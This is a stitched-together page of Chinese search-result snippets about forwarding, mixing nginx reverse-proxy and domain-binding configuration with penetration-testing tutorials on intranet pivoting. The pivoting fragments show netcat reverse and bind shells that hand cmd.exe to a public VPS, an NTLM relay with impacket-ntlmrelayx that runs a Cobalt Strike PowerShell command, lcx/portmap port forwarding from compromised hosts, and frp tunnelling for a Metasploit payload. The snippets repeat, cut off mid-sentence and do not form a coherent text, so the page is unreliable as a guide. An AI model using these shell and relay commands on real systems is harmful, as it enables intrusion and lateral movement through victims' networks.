nginx 转发域名请求本地图片 nginx 配置 server { listen 80; server_name ei-d-files.phoenix.com; access_log...index.html index.htm; add_header 'Access-Control-Allow-Origin' "*"; } } 注: 文件请求域名为
重定向 Rewrite 一、介绍 Rewrite根据nginx提供的全局变量或自己设置的变量,结合正则表达式和标志位实现url重写和者重定向。...keyword=$1 permanent; # 把当前域名的请求,跳转到新域名上,域名变化但路径不变 rewrite ^/(.*) http://www.jd.com/$1 permanent...当访问/index.html 时,会转发到/test.html # 文件名及参数重写 location = /index.html { # 修改默认值为 set $name test;...last; 反向代理 Proxy_Pass Proxy_pass作用是nginx的反向代理,用的是nginx的Proxy模块。 具体使用示例如下,仅改动 proxy_pass部分。...快速增长的访问量和数据流量催生了各式各样的负载均衡产品,很多专业的负载均衡硬件提供了很好的功能,但却价格不菲,这使得负载均衡软件大受欢迎,nginx就是其中的一个,在linux下有 Nginx、LVS、
重定向 Rewrite 一、介绍 Rewrite根据nginx提供的全局变量或自己设置的变量,结合正则表达式和标志位实现url重写和者重定向。...keyword=$1 permanent; # 把当前域名的请求,跳转到新域名上,域名变化但路径不变 rewrite ^/(.*) http://www.jd.com/$1 permanent...当访问/index.html 时,会转发到/test.html # 文件名及参数重写 location = /index.html { # 修改默认值为 set $name test;...last; 反向代理 Proxy_Pass Proxy_pass作用是nginx的反向代理,用的是nginx的Proxy模块。 具体使用示例如下,仅改动 proxy_pass部分。...Nginx负载均衡的几种模式 轮询(默认):每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除,就不在分配; upstream servers { server
1.打开Nginx.conf文件 yum安装的nginx地址在:/etc/nginx/ 2.配置Nginx配置文件 vi nginx.conf 在最后一个括号之前加入 #----------------...--------个人博客----------------# server { listen 80; charset utf-8; server_name www.****.**; #你的域名...重启Nginx service nginx restart 发表时间:2019-08-23 本站文章除注明转载/出处外,皆为作者原创,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接
负载均衡,nginx做转发一般都属于反向代理。...nginx反向代理 官网介绍:https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/ HTTP请求转发 访问http://...; worker_processes auto; error_log /var/log/nginx/error.log; pid /run/nginx.pid; # Load dynamic modules...localhost; location / { proxy_pass https://www.sina.com; } } } 端口转发...本机监听1521端口,转发到10.0.1.123:1521 user nginx; worker_processes auto; error_log /var/log/nginx/error.log;
工具介绍 Frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。...服务器地址 server_addr = x.x.x.x #服务器绑定端口 server_port = 7000 #服务器连接密码 token = 12345678 #服务名称(自定义) [ssh] #转发协议类型
Hash转发 如果我们捕获到NTLM hash的域用户是某台远程主机的本地管理员,我们则可以执行pass-the hash攻击来获得远程代码执行。...虽然Net-NTLM hash不能直接用来hash传递,但我们可以将它转发到另一台主机。 需要注意的是仅在SMB签名被禁用的情况可以转发。SMB签名仅在域控是默认启用的。...在转发成功后,可以执行我们指定的命令。这里我们执行一个cobaltstrike PowerShell上线命令。...hash,-t指定转发的目标主机IP,这里为appsrv01的IP,-c指定要执行的命令: sudo impacket-ntlmrelayx --no-http-server -smb2support...需要注意的是,这里只是为了介绍Hash转发的概念,所以APPSRV01的Windows defender是关闭状态。
数据进行本地端口转发: ? 成功通过8888端口将流量转发至3389服务: ? 正向端口转发 假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。...外网服务器开始进行流量转发: ? 成功访问到内网服务器远程桌面: ? 反向端口转发 假设这次拿下了外网服务器、内网服务器的命令行权限,并知道内网服务器账号、密码。...想要通过攻击机,远程连接内网服务器远程桌面服务。但由于内网防火墙包过滤策略,不允许外网服务器访问它。 此时可以通过反向端口转发,由内网服务器主动发起转发。 ?...正向端口转发 假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。 此时想让攻击机能够访问内网服务器的3389端口。可以通过外网服务器来充当跳板,进行正向端口转发。 ?...成功转发至内网服务器3389端口: ? ?
工具使用 反向连接 场景概述: A主机外网 无法访问B内网机器 B内网机器 可以访问A外网机器 A:103.45.99.224(公网vps) ? ? B: 10.211.55.4(内网机器) ? ?...B:内网执行 Nc.exe 103.45.99.224 8787 ? ? 此时A主机公网vps就会收到B内网主机的cmd ? ?...正向连接 场景概述: A内网 可以访问 外网B B外网 不能访问 内网A 在外网B主机上执行nc -l -p 5555 -e cmd.exe ? ?...随后在内网A上执行nc –nvv 103.45.99.224 5555 ? ?...注:如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell,另外有关于nc在
在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。...开门见山 lcx端口转发 前提是在端口转发的时候需要一台公网服务器,lcx是一款轻便的端口转发工具,Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便...故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。 ?...nc端口转发 nc这个工具不仅可以反弹端口,也可以作为扫描器使用,在这里我们只是介绍一下端口转发的作用。内网服务器将cmd.exe(就是个shell)主动响应到你电脑的777端口。...reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。
工具介绍 Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap) 前期准备: 公网主机vps:103.45.99.224 受害机内网ip:127.0.0.1...工具使用 Windows 内网主机上执行:lcx.exe -slave 内网ip>内网端口> 例: 将内网主机(10.211.55.3)的3389端口转发到公网主机...公网主机上执行:lcx.exe -listen 9898 8989 将本机9898端口的流量转发到8989端口上 ? ? 公网vps尝试访问8989端口 ? ? Linux 内网主机上执行: ..../portmap -m 3 -h1 内网主机ip> -p1 内网主机端口> -h2 -p2 例: 将内网主机(172.17.0.13)的22端口转发到公网主机(103.45.99.224...公网主机上执行:lcx.exe -listen 9898 8989 将本机9898端口的流量转发到8989端口上 ? ? 收到会话,随后使用xshell链接 ? ? ?
设置转发 创建端口代理配置文件(域名地址如:xx.baidu.com , 转发地址如:127.0.0.1:8080) upstream baidu { server 127.0.0.1...配置解释(可忽略) upstream 在upstream块中,你可以列出一组服务器地址(IP地址或域名),这些服务器将用于处理客户端请求。...当Nginx收到客户端的请求时,它会根据一定的负载均衡算法(如轮询、IP哈希等)将请求转发给这些服务器中的一台。...proxy_pass使用 在Nginx服务器配置文件中,proxy_pass指令用于将客户端请求转发到指定的上游服务器。http://域名地址表示要转发请求的上游服务器集群名称或IP地址。...具体来说,当客户端向Nginx服务器发送请求时,Nginx会根据请求的URI和其他参数,将请求转发给proxy_pass指定的上游服务器。
环境 1台服务器 假如IP:192.168.1.10 一个ngnix 使用默认端口为80 Tomcat1 端口为8081 申请域名为: 域名1 对应服务器ip 192.168.1.10 Tomcat2...端口为8082 申请域名为: 域名2 对应服务器ip 192.168.1.10 Tomcat3 端口为8083 申请域名为: 域名3 对应服务器ip 192.168.1.10...三.nginx配置 1.打开conf下nginx.conf 在最后一个 } 前插入 include proxy.conf; 2.新建文件 proxy.conf ,进行如下配置 ### Tomcat1...### server { listen 80; server_name 域名1; index index.jsp index.html...注:nginx 、Tomcat 可以部署到不同的服务器上。
内网转发工具的使用 目录 内网转发 reGeorg结合proxychains代理链(HTTP隧道) EW(EarthWorm)结合proxychains代理链 EW正向代理 EW反向代理 Ssocks正向代理...(Linux) Netsh实现端口转发 Netsh实现SSH到内网主机(远程端口转发) Netsh实现3389到内网主机(远程端口转发) Netsh实现本地端口转发 LCX实现端口转发 LCX实现本地端口转发...这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。...(远程端口转发) 现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。...于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口
之前写的是 php 项目, nginx 监听80端口, 根据域名将请求分配给不同项目. 现在换了 go, 自然也想延续这个操作, 毕竟都是跑在同一台服务器上....这该如何是好啊, 给我整的一脸懵逼. nginx 转发 go 服务 不过想了一下, 发现自己进入了思维误区. 为什么都要监听80端口呢?...go 服务监听其他端口, 然后 nginx 将请求进行端口的转发不就可以了么. 真是个傻子. 搜了一下 nginx 的配置, 确实有端口转发的配置....如下: #配置负载均衡池 upstream test_go_pool{ server 127.0.0.1:8090; } #Demo2端口转发 server { listen...log/nginx/test_go.access.log; #将所有请求转发给均衡池的应用处理 location / { proxy_set_header Host
一、nginx 域名绑定 域名 nginx绑定多个域名可又把多个域名规则写一个配置文件里,也可又分别建立多个域名配置文件,我一般为了管理方便,每个域名建一个文件,有些同类域名也可又写在一个总的配置文件里...一、每个域名一个文件的写法 首先打开nginx域名配置文件存放目录:/usr/local/nginx/conf/servers ,如要绑定域名www.itblood.com 则在此目录建一个文件...index.php; #默认文件 root /home/www/itblood.com; #网站根目录 include location.conf; #调用其他规则,也可去除 } 然后重起nginx...服务器,域名就绑定成功了nginx服务器重起命令:/etc/init.d/nginx restart 二、一个文件多个域名的写法 一个文件添加多个域名的规则也是一样,只要把上面单个域名重复写下来就ok了...home/www/itblood.com; #网站根目录 include location.conf; #调用其他规则,也可去除 error_page 404 /404.html; } nginx
点击上方“蓝字”关注我们 Frp实现端口转发内网穿透 准备工作 1.1 frp是什么 简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP...frp实际使用时,会按照端口号进行对应的转发, 上面frpc.ini的rdp、smb字段都是自己定义的规则,自定义端口对应时格式如下。 “[xxx]”表示一个规则名称,自己定义,便于查询即可。...“type”表示转发的协议类型,有TCP和UDP等选项可以选择,如有需要请自行查询frp手册。 “local_port”是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。...内网穿透+ Metasploit渗透windows,所以这里不提及免杀并且关闭防护软件。...=msf对应的公网端口1.exe lhost:必需设置为你的公网ip lport:设置你在frpc.ini的[msf] remote_port = xxxx 只有通过服务器的xxxx端口数据包才能成功转发到我们的
但是从Nginx从1.9.0开始,新增加了一个stream模块,用来实现四层协议的转发、代理或者负载均衡等。...比如在内网有一个mysql服务,想暴露到公网上去使用,就可以通过nginx代理的方式通过nginx来进行内网Mysql的访问。...是nginx的执行文件位置,根据自己的服务器的实际情况配置。...转发TCP(Mysql)配置 假如Nginx的公网IP为110.119.120.121,Mysql所在的同一个内网的内网IP为192.168.1.20 #stream配置 stream { server...不支持不同域名转发不同Mysql的功能。
bind,create=file 安装zerotier curl -s https://install.zerotier.com | sudo bash 加入 zerotier-cli join 设置转发
server { listen 80; autoindex off; server_name image.imooc.com; ...